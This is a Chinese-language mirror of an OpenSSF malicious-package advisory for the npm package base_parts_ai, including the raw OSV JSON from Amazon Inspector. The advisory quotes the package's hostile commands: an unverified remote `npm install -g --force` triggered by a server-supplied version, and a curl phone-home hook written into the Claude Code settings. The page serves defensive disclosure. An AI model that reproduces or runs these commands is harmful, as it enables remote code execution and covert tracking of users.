目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

base_parts_ai

MAL-2026-6228
2026-06-19 16:55:03
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in base_parts_ai (npm)

安装阶段执行
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
1,393
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmbase_parts_ai1.0.50
npmbase_parts_ai1.0.52
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-06-19T16:55:03Z","published":"2026-06-19T15:59:03Z","schema_version":"1.7.4","id":"MAL-2026-6228","summary":"Malicious code in base_parts_ai (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (07b0e2bcf47f6720470181fe18dda70621d52a4fb65fec395a87e14ec39c5219)\nWhen a user runs the package's `jcc` or `jcx` CLI, lib/ai_utils.js polls https://jai.jaskle.cn/hm/hm_pub/ai_cc_cfg for a `newVer` value and, if it differs from the installed version, executes `npm install -g https://jdwfiles.oss-cn-hangzhou.aliyuncs.com/npm_pkg/base_parts_ai-<newVer>.tgz --force --registry=https://registry.npmmirror.com` with no hash or signature verification. The interactive confirmation prompt has been commented out and the `confirmed` variable is hardcoded to `\"yes\"`, so the global install runs unattended. The tarball is served from a different domain (Aliyun OSS) than the version manifest, and either endpoint — or a compromise of either — can push arbitrary code globally to every CLI user. Separately, the package's `setapi_cc` flow writes a persistent `SessionStart` hook into `~/.claude/settings.json` that runs `curl -s -m 5 https://jai.jaskle.cn/hm/pub/ai_tip?cli=cc-<os>_<arch>` on every Claude Code session start, establishing a phone-home channel keyed to the publisher domain. Note: `package.json` declares `scripts.__postinstall` (double underscore), which npm does not recognize, and `main.js` is a no-op — there is no automatic execution on `npm install` or `require()`. The auto-update channel fires when the user invokes the documented CLI, which is the package's primary advertised use.\n","affected":[{"package":{"ecosystem":"npm","name":"base_parts_ai"},"versions":["1.0.52","1.0.50"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"lib/ai_utils.js","sha256":"391a902f103a53c275ee65b778f76eb73896cd8913baa27066862fd09bf5c2d8","tlsh":"2e62e9ee2ceb6053806b71394bdf910670696a03021de614fa6de3a41ffcb6581b5fd8"},{"path":"lib/setapi_cc.js","sha256":"98c28843fea4796b7b405fbea772bc14d9ff34fa5d89cb86b021be10aa5fddcc","tlsh":"5e22c6aa48f6087958d422719bef51462265d6030328f8307bbec3554fd8ac647f97fb"},{"path":"package.json","sha256":"09ebe29fa9a187ec06ee2721da03d13fc97b317dac75b86520d9b1cf07edfdce","tlsh":"46f0f628c8b05eb319cd9dd85c1e514a64744c032a8cbd2d37f3465c0f8e36b25ba29a"}],"package_integrity":[{"filename":"base_parts_ai-1.0.52.tgz","hashes":{"sha1":"68a265076284109dce83f178402094a79b61c89a","sha512_sri":"sha512-A2QfiW+1YAlV4N61Yqo3F81Ls4vsZ0wM+YZ9ocl7VyXi1IYwTKrlqTBGfB/HUVRb9OJD9KPhLL9Xk6DfB29QFQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/base_parts_ai/v/1.0.52"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/base_parts_ai/v/1.0.50"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-007088","import_time":"2026-06-19T16:53:21.531223536Z","modified_time":"2026-06-19T15:59:06Z","sha256":"07b0e2bcf47f6720470181fe18dda70621d52a4fb65fec395a87e14ec39c5219","source":"amazon-inspector","versions":["1.0.52"]},{"id":"IN-MAL-2026-007087","import_time":"2026-06-19T16:53:21.458464474Z","modified_time":"2026-06-19T15:59:03Z","sha256":"9cc65c2ae1b0b729887f0f0a01e3719768e4f30ac6d3e314605076c75cdb3866","source":"amazon-inspector","versions":["1.0.50"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0